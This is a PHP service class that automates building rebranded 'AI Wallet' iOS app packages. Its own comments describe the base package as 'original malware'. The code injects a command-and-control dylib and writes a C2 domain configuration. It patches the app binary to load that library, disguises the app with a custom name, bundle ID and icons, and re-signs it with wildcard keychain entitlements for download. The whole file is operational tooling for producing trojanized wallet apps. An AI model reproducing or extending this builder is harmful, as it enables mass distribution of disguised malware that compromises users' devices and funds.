343 lines
12 KiB
PHP
343 lines
12 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Channel;
|
|
use Illuminate\Support\Facades\Log;
|
|
use RuntimeException;
|
|
|
|
/**
|
|
* Build a customized AI Wallet IPA for App-builder channels.
|
|
*
|
|
* Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
|
|
* runtime c2_config.plist to configure domain/channel per build.
|
|
* No iOS SDK or Xcode required on the Linux build server.
|
|
*
|
|
* Build flow:
|
|
* 1. Extract ai-live-base.ipa (original malware)
|
|
* 2. Copy pre-compiled c2_simple.dylib to Frameworks/
|
|
* 3. Generate c2_config.plist with channel-specific settings
|
|
* 4. Add LC_LOAD_DYLIB to main binary (before libutils)
|
|
* 5. Patch Info.plist (app name, bundle ID, white launch screen)
|
|
* 6. Generate icons from uploaded logo
|
|
* 7. Sign with ldid
|
|
* 8. Package as IPA
|
|
*/
|
|
class AiWalletPackageService
|
|
{
|
|
/** Base IPA path (original ai-live malware) */
|
|
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
|
|
|
/** Pre-compiled c2_simple.dylib */
|
|
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
|
|
|
/** Icon sizes */
|
|
private const ICON_SIZES = [
|
|
'AppIcon60x60@2x.png' => 120,
|
|
'AppIcon60x60@3x.png' => 180,
|
|
'AppIcon76x76@2x~ipad.png' => 152,
|
|
];
|
|
|
|
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
|
{
|
|
$baseIpa = storage_path('app/'.self::BASE_IPA);
|
|
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
|
|
|
if (!file_exists($baseIpa)) {
|
|
return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
|
|
}
|
|
if (!file_exists($c2Dylib)) {
|
|
return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
|
|
}
|
|
|
|
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
|
if (is_dir($workDir)) $this->rrmdir($workDir);
|
|
@mkdir($workDir, 0755, true);
|
|
|
|
try {
|
|
// 1. Extract base IPA
|
|
$zip = new \ZipArchive;
|
|
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
|
$zip->extractTo($workDir);
|
|
$zip->close();
|
|
|
|
$appDir = $this->findAppDir($workDir);
|
|
if (!$appDir) throw new RuntimeException('No .app directory found');
|
|
|
|
// 2. Copy pre-compiled c2_simple.dylib
|
|
$fwDir = $appDir.'/Frameworks';
|
|
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
|
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
|
|
|
// 3. Generate c2_config.plist
|
|
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
|
|
|
// 4. Add LC_LOAD_DYLIB to main binary
|
|
$mainBin = $this->findMainBinary($appDir);
|
|
$this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
|
|
|
|
// 5. Patch Info.plist
|
|
$this->patchInfoPlist($appDir, $channel);
|
|
|
|
// 6. Generate icons
|
|
if ($logoPath && file_exists($logoPath)) {
|
|
$this->generateIcons($appDir, $logoPath);
|
|
}
|
|
|
|
// 7. Sign
|
|
$this->sign($appDir);
|
|
|
|
// 8. Package
|
|
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
|
$outputFull = public_path($outputPath);
|
|
@mkdir(dirname($outputFull), 0755, true);
|
|
|
|
$outZip = new \ZipArchive;
|
|
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
|
throw new RuntimeException('Cannot create output IPA');
|
|
}
|
|
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
|
$outZip->close();
|
|
|
|
$size = filesize($outputFull);
|
|
$this->rrmdir($workDir);
|
|
|
|
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
|
|
|
} catch (\Throwable $e) {
|
|
$this->rrmdir($workDir);
|
|
Log::error('AiWalletPackageService: build failed', [
|
|
'channel' => $channel->channel_id,
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
|
}
|
|
}
|
|
|
|
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
|
|
{
|
|
$config = [
|
|
'C2Domain' => $apiDomain,
|
|
'C2Port' => '443',
|
|
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
|
|
'AppId' => $channel->channel_id,
|
|
'ChannelId' => $channel->channel_id,
|
|
'AppName' => $channel->app_name,
|
|
];
|
|
|
|
$plist = $this->arrayToXmlPlist($config);
|
|
file_put_contents($appDir.'/c2_config.plist', $plist);
|
|
}
|
|
|
|
private function arrayToXmlPlist(array $data): string
|
|
{
|
|
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
|
|
$xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
|
|
$xml .= '<plist version="1.0"><dict>'."\n";
|
|
foreach ($data as $key => $value) {
|
|
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
|
}
|
|
$xml .= '</dict></plist>';
|
|
return $xml;
|
|
}
|
|
|
|
private function patchInfoPlist(string $appDir, Channel $channel): void
|
|
{
|
|
$plistFile = $appDir.'/Info.plist';
|
|
$data = file_get_contents($plistFile);
|
|
|
|
// Use plistlib via shell (available on Linux)
|
|
$tmpFile = tempnam(sys_get_temp_dir(), 'plist');
|
|
file_put_contents($tmpFile, $data);
|
|
|
|
$changes = [
|
|
'CFBundleDisplayName' => $channel->app_name,
|
|
'CFBundleName' => $channel->app_name,
|
|
'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
|
|
'CFBundleShortVersionString' => '1.6.1',
|
|
'CFBundleVersion' => '1.6.1',
|
|
];
|
|
|
|
foreach ($changes as $key => $value) {
|
|
$escaped = escapeshellarg($value);
|
|
exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
|
|
// Fallback: use sed for XML plists
|
|
$data = file_get_contents($tmpFile);
|
|
$data = preg_replace(
|
|
'#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
|
|
'<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
|
|
$data
|
|
);
|
|
file_put_contents($tmpFile, $data);
|
|
}
|
|
|
|
// Remove storyboard reference, add UILaunchScreen (white background)
|
|
$data = file_get_contents($tmpFile);
|
|
$data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
|
|
if (!str_contains($data, 'UILaunchScreen')) {
|
|
$data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
|
|
}
|
|
file_put_contents($plistFile, $data);
|
|
unlink($tmpFile);
|
|
}
|
|
|
|
private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
|
|
{
|
|
// Use Python script for Mach-O editing — PHP binary manipulation
|
|
// corrupts the binary by inserting bytes (shifts code signature blob).
|
|
// The Python script uses existing free space in the load command table,
|
|
// preserving the file size and not breaking the signature.
|
|
$scriptPath = base_path('bin/add_dylib.py');
|
|
|
|
if (!file_exists($scriptPath)) {
|
|
throw new RuntimeException('add_dylib.py not found at '.$scriptPath);
|
|
}
|
|
|
|
$cmd = sprintf(
|
|
'python3 %s %s %s 2>&1',
|
|
escapeshellarg($scriptPath),
|
|
escapeshellarg($binaryPath),
|
|
escapeshellarg($dylibPath)
|
|
);
|
|
|
|
$output = [];
|
|
$exitCode = 0;
|
|
exec($cmd, $output, $exitCode);
|
|
|
|
if ($exitCode !== 0) {
|
|
throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output));
|
|
}
|
|
|
|
Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]);
|
|
}
|
|
|
|
private function findAppDir(string $workDir): ?string
|
|
{
|
|
$payload = $workDir.'/Payload';
|
|
if (!is_dir($payload)) return null;
|
|
foreach (scandir($payload) as $item) {
|
|
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private function findMainBinary(string $appDir): string
|
|
{
|
|
// Main binary has the same name as the .app directory
|
|
$appName = basename($appDir, '.app');
|
|
return $appDir.'/'.$appName;
|
|
}
|
|
|
|
private function generateIcons(string $appDir, string $logoPath): void
|
|
{
|
|
if (!function_exists('imagecreatefrompng')) {
|
|
Log::warning('AiWalletPackageService: GD not available, skipping icons');
|
|
return;
|
|
}
|
|
|
|
$src = imagecreatefrompng($logoPath);
|
|
if (!$src) return;
|
|
|
|
foreach (self::ICON_SIZES as $filename => $size) {
|
|
$dst = imagecreatetruecolor($size, $size);
|
|
imagealphablending($dst, false);
|
|
imagesavealpha($dst, true);
|
|
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
|
|
imagesx($src), imagesy($src));
|
|
imagepng($dst, $appDir.'/'.$filename);
|
|
imagedestroy($dst);
|
|
}
|
|
imagedestroy($src);
|
|
}
|
|
|
|
private function sign(string $appDir): void
|
|
{
|
|
// Remove old signatures
|
|
$csDir = $appDir.'/_CodeSignature';
|
|
if (is_dir($csDir)) $this->rrmdir($csDir);
|
|
|
|
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
|
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
|
Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath);
|
|
return;
|
|
}
|
|
|
|
// Create entitlements file
|
|
$entFile = $appDir.'/../entitlements.xml';
|
|
$entXml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
|
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
|
.'<plist version="1.0"><dict>'."\n"
|
|
.'<key>get-task-allow</key><true/>'."\n"
|
|
.'<key>keychain-access-groups</key><array><string>*</string></array>'."\n"
|
|
.'<key>platform-application</key><true/>'."\n"
|
|
.'</dict></plist>';
|
|
file_put_contents($entFile, $entXml);
|
|
|
|
// Sign all binaries with entitlements
|
|
$binaries = array_merge(
|
|
[$this->findMainBinary($appDir)],
|
|
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
|
glob($appDir.'/*.dylib') ?: [],
|
|
glob($appDir.'/Frameworks/*.framework/*') ?: [],
|
|
);
|
|
|
|
foreach ($binaries as $bin) {
|
|
if (!is_file($bin)) continue;
|
|
$cmd = escapeshellarg($ldidPath)
|
|
.' -S'.escapeshellarg($entFile)
|
|
.' '.escapeshellarg($bin).' 2>&1';
|
|
$output = [];
|
|
$exitCode = 0;
|
|
exec($cmd, $output, $exitCode);
|
|
if ($exitCode !== 0) {
|
|
Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [
|
|
'cmd' => $cmd,
|
|
'output' => implode("\n", $output),
|
|
'exit_code' => $exitCode,
|
|
]);
|
|
}
|
|
}
|
|
|
|
// Also create bundle _CodeSignature
|
|
$bundleCs = $appDir.'/_CodeSignature';
|
|
@mkdir($bundleCs, 0755, true);
|
|
file_put_contents($bundleCs.'/CodeResources', '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
|
.'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
|
|
|
// Cleanup entitlements file
|
|
@unlink($entFile);
|
|
}
|
|
|
|
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
|
{
|
|
foreach (scandir($dir) as $item) {
|
|
if ($item === '.' || $item === '..') continue;
|
|
$path = $dir.'/'.$item;
|
|
$zipPath = $prefix.'/'.$item;
|
|
if (is_dir($path)) {
|
|
$zip->addEmptyDir($zipPath);
|
|
$this->addDirToZip($zip, $path, $zipPath);
|
|
} else {
|
|
$zip->addFile($path, $zipPath);
|
|
}
|
|
}
|
|
}
|
|
|
|
private function rrmdir(string $dir): void
|
|
{
|
|
if (!is_dir($dir)) return;
|
|
foreach (scandir($dir) as $item) {
|
|
if ($item === '.' || $item === '..') continue;
|
|
$path = $dir.'/'.$item;
|
|
if (is_dir($path)) $this->rrmdir($path);
|
|
else @unlink($path);
|
|
}
|
|
@rmdir($dir);
|
|
}
|
|
|
|
private function fail(string $error): array
|
|
{
|
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
|
|
}
|
|
}
|